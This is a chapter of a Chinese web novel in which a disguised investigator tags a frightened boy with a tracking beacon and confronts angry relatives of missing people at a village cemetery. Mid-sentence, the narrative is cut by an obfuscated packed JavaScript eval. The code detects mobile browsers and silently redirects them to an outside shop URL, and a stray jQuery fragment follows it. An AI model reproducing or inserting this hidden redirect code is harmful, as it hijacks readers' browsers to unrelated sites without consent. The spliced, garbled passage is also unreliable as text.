在鲁尼的小声催促下,白以确认了一番矿场周围没有其他异常后,才回到了车上。
“抱歉没提前跟你说一声就进去。”白以亡羊补牢般地道了声歉。
鲁尼摆摆手表示这没什么,爽朗地笑了:“都是为了解决案子嘛!虽然吓了我一跳哈哈哈!”
“不过现在我都开始庆幸了,幸好城里留下来的是你……”鲁尼笑意微敛,专注地看着白以,“警官小姐,我相信你一定能找出凶手的!所以假如有什么我能帮忙的,请一定要说出来!”
“只要是为了村子,我什么都愿意做。”像是宣誓又像是自言自语,鲁尼的声音低沉而坚定。
白以垂下了眼帘。
年纪轻轻回乡做村长,可能都存在着这样的心情吧。
从平常交流的只言片语中,就能看出鲁尼相当热爱这个村子。
只是,十几年前失去了村里的支柱产业,人员大量流失;十几年后又因为案件的发生,刚刚兴起的旅游业就大受打击。
这个小石村也是真多灾多难啊。
又在车里颠簸了半个小时,她们回到了鲁尼家。
虽然快要到午饭的时间了,但鲁尼马不停蹄地要去处理其他事情,就让白以自己随意吃些现成的东西。
不过,留在冰箱里的食物只剩下面包、黄油、果酱和浆果了。
白以有点挑食,实在提不起兴致去吃。
她虽然不是人了,但胃还是会感到饥饿,即使再不喜欢也得吃。
白以随便拿了块面包,又给自己倒了杯水——不得不感慨鲁尼家甚至没有茶和牛奶——简单就着水把面包咽了下去。
她开始怀念起H817做的那三菜一汤了,虽然没什么特别出彩的味道,但起码能满足自己的C国胃。
……
等一下。
白以突然想起了什么,重新打开冰箱,冷气扑面而来。这里的科技就像80年代前后的C国,电气已经是主流的能源了,所以像是电灯冰箱之类的电器并不少见。
她看向冰箱里的浆果,拿了几颗观察。
这是昨晚鲁尼带回来的水果,放在冰箱里的浆果还没有冲洗,量倒是少了很多,抹掉表面细白的果粉,果子红彤彤的仍保持着新鲜的模样。
和白以在山上看见过的灌木浆果十分相似。
那是谁送的来着?好像是……诺亚的监护人,菲谢尔。
“啊!”
提起诺亚,白以这才突然想起来,自己的脱离条件还没达成呢!
太过醉心于解开谜团,居然把正经事忘记了。
抓了一把浆果丢进嘴里,白以急匆匆地出门。
没有鲁尼的车,她不得不徒步前往墓园。
虽说加快了脚步,当墓园那标志性的小屋和大树出现在眼前时,还是花了不少的时间。一辆眼熟的老式甲壳虫车和另一辆没见过的小轿车停在大门前的路边上。
当她走入墓园中的时候,却发现已经有好几个人围在了乔木树之下。
那些人穿着各异,年龄、性别也并不一样,脸上却都挂着异常的愤怒,声势浩大地围拢在一起,挥舞着拳头高声叫嚷着什么。
“又在说这些狡辩的胡话!”
“警察查不出来我还不知道吗?!你们就是吃人的村子!”
“就是!你个贱人!快把我哥哥还回来!!”
……
此起彼伏的谩骂声团团围住了中间的人影。
神情紧张的鲁尼护在诺亚前面,标志性的大嗓门此刻也有些颤抖:“各位冷静一点!我们、我们是法治社会,有话还是好好说……”
她的身上还穿着出门时的工作装束,但灰绿色的衣服上此刻沾满了血红色的油漆,沿着裤腿粘稠地流到了地上,脸上也狼狈的沾了灰尘。
藏在她身后的诺亚身上倒是干干净净的,但脸色也十分惨白惊惶,完全不见此前的冷静自持,反而拼命地把自己往鲁尼身后藏,看上去十分可怜。
被人随意丢在地上的油漆桶咕噜噜地滚动着,撞在一旁的墓碑上。
白以看着这一切,脚步放缓,一手摸上了自己的左手手腕。
手环上凸起的按钮被按下,系统的提示音适时响起。
【已锁定目标,请确认。】
巨大的金色箭头出现在诺亚的头上,即使被挡在了鲁尼身后,也不妨碍信标发射器工作。
只是,这对吗?
虽然不清楚发生了什么,但是这个少年现在非常害怕恐惧,她难道要趁人之危吗?
她难道不应该上前去帮助诺亚,做一个好人吗?
——白以摁下了按钮。
没有发出任何的声响,手环上的发射器也没有射出任何肉眼可见的东西,但她能感觉到按下按钮的手指上传来了微微发烫的热度。
她看到诺亚头上的巨大箭头消失,转而变成了小巧的金色菱形。
【叮!信标已成功发射!可查询信标对象实时位置!】
【脱离条件已达成!脱离功能成功解锁,请调查员注意。】
这样就算完成了脱离条件了,白以忍不住松了口气。
但是这难以驱散的愧疚感又是怎么回事?
一定是因为她没能善待那惹人怜爱的少年,她隐瞒、伤害了他,没能及时保护他。
白以无奈,又有点反胃。
可能是因为她直接“接触”过其他人的感情,所以白以对于不属于自己的情感非常敏锐。她非常确认,这种频频出现的针对于诺亚的怜爱、关心,并不属于自己。
正因此,在第一次异常出现并觉察到后,她这一次很轻松地避免了这种外来的情绪影响自己的判断。
白以本以为是诺亚身负异能影响了她,但看眼下的情况,又不太确定了。
假如这个男孩的力量可以如此影响其他人的感情,就不应该陷入这样的境地,那一脸手足无措的恐惧不像是骗人的。
干完了正事,就该干“私事”了。
白以加快了前进的步伐。
伴随着距离的靠近,那些闹事者的声音也越来越响,有人注意到了她的接近,立刻转移了注意力开始冲着她叫嚣了起来,想必是将她也当做了小石村的村民。
“你又是哪根葱?啊我知道了!你是想——”
借着衣服的掩饰从空间里掏出手枪,白以冲着一旁的墓碑扣动了扳机。
赤红色的激光自枪口无声弹射而出,自动瞄准的功能让它精准击中了石头墓碑。刹那间,坚硬的墓碑碎石四溅,发出炸裂般的巨响,浓烈的硫磺气味伴随着热浪扑面而来。
被炸开的石碑下方的泥土也被轰开了一角,就像鲁尼所说的,是个空坟。
白以暗自咋舌,按住了因为反作用力而微微发颤的手臂。
在场的所有人都安静了一秒。
在众人的注视下,白以不慌不忙地从口袋里拿出警察证:“要聊聊吗?正好我空。”
但这安静也就顶多维持了一会儿,立刻有个中年男人上前确认了一番证件,结结巴巴底气不足地说:“你、你这是威胁吗?列拉金城的警察对待市民就这样吗?!”
此话一出,立刻引起其他人的纷纷赞同,他们将矛头从鲁尼转移到了白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175768|150558||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
以身上,义愤填膺地你一句我一句控诉着法律与官僚。
她又不是真警察,怎么可能会顾虑假的“上级”和假的声誉。
从言论上,能看出这些人应该是失踪者家属。白以能理解他们的愤怒悲伤,但只是听他们抱怨根本无法获得有用的信息。
白以收回证件,扫视这一圈人,最后将目光钉在了看上去像是领头的中年男人身上:“所以,你们围着鲁尼和小孩想讨回什么公道?你认为他们是犯人?”
见白以看向了自己,中年男人反而瑟缩了一下,才回答道:“就是因为警察查不出来,我们才得自己上啊!她是村长,怎么可能不清楚村里的状况?至于那个孩子……只是顺便……”
中年男人目光微妙的游离,一旁盛气凌人的女人则尖着嗓子接着说:“我哥哥之前就找那小孩问过路,说不定就是他把我哥哥带走了呢?你们警察一点用都没有!反倒问起我们了!!”
“对啊!!你查了这么久查出什么了吗?!还来威胁我们这些受害者!呜呜呜……”旁边上了年纪的妇女哭了起来。
“除了你哥哥和他说过话,还有没有别的线索?”白以丝毫不受影响,向那盛气凌人的女人发问。
女人噎了一下,气焰也萎了半截,声音也没那么大了:“呃……没有……”
“其他人呢?”白以看向其他人。
白以虽然消瘦但看起来并不羸弱,一米七的身高足以平视在场的所有人,再加上手里拿着枪,更是多了几分威慑力。
灰蒙蒙的眼睛没有多余的感情,同情、愤怒、委屈等等一概全无,甚至没有审视与严厉。只是平静地朝着每个人的脸上扫过去,却让人感觉心里一颤,过热的头脑也不由自主冷静了下来。
“……我的儿子,”止住了哭声,仍带着哽咽的妇女轻声说,“他打电话跟我说,想去旧矿场看看,因为那里是拉默大人蜕变的地方……但自那通电话之后,就再也没有联系了!”
有了人开头,紧接着另一个男人说道:“我老婆是跟团来旅游的,听人说就去了纪念馆,哪知道转眼就没了人影……”
“……我妹妹是一个人来的,但她会拳脚啊!是散打冠军啊!普通人都不是她的对手!”
……
大家七嘴八舌地说了起来,白以边点头边听。
都不是什么有用的线索,但她并没有表现在脸上。
末了,白以做了最后的总结:“大家说的我都记下来了,有些地方确实值得在意。但我希望各位还是能保持冷静,不要让真正的犯人有机可乘,保重自身安全也十分重要。”
她记得鲁尼曾提过,失踪者亲属里也有来到小石村闹事然后失踪的。
此话一出,果然让这些人想起了那件事,脸色都变了,不约而同地沉默了下来。
这时鲁尼走上前来,她身上仍是那片刺目的红色油漆,但脸上已经恢复了往常的笑意——或者也有可能是强颜欢笑——她对这些人说:“大家的心情我都理解,要是不介意的话,可以去村里的旅馆歇息一会儿,我们免费招待各位。”
见鲁尼如此客气体面,反而让失踪者亲属感觉不自在。
几人互相看了一眼,没有回答鲁尼,也没有多说什么。
失去了儿子的妇女依然流着眼泪,但她走上前握住了白以的手。
浓重的悲愤瞬间包裹住白以。
“警察小姐,希望你能帮我找到我的儿子……不论生或者死。拜托了!”妇女紧紧握着白以的手,然后头也不回地离开了。
一个接一个的,失踪者亲属离开了墓园,留下了一地狼藉。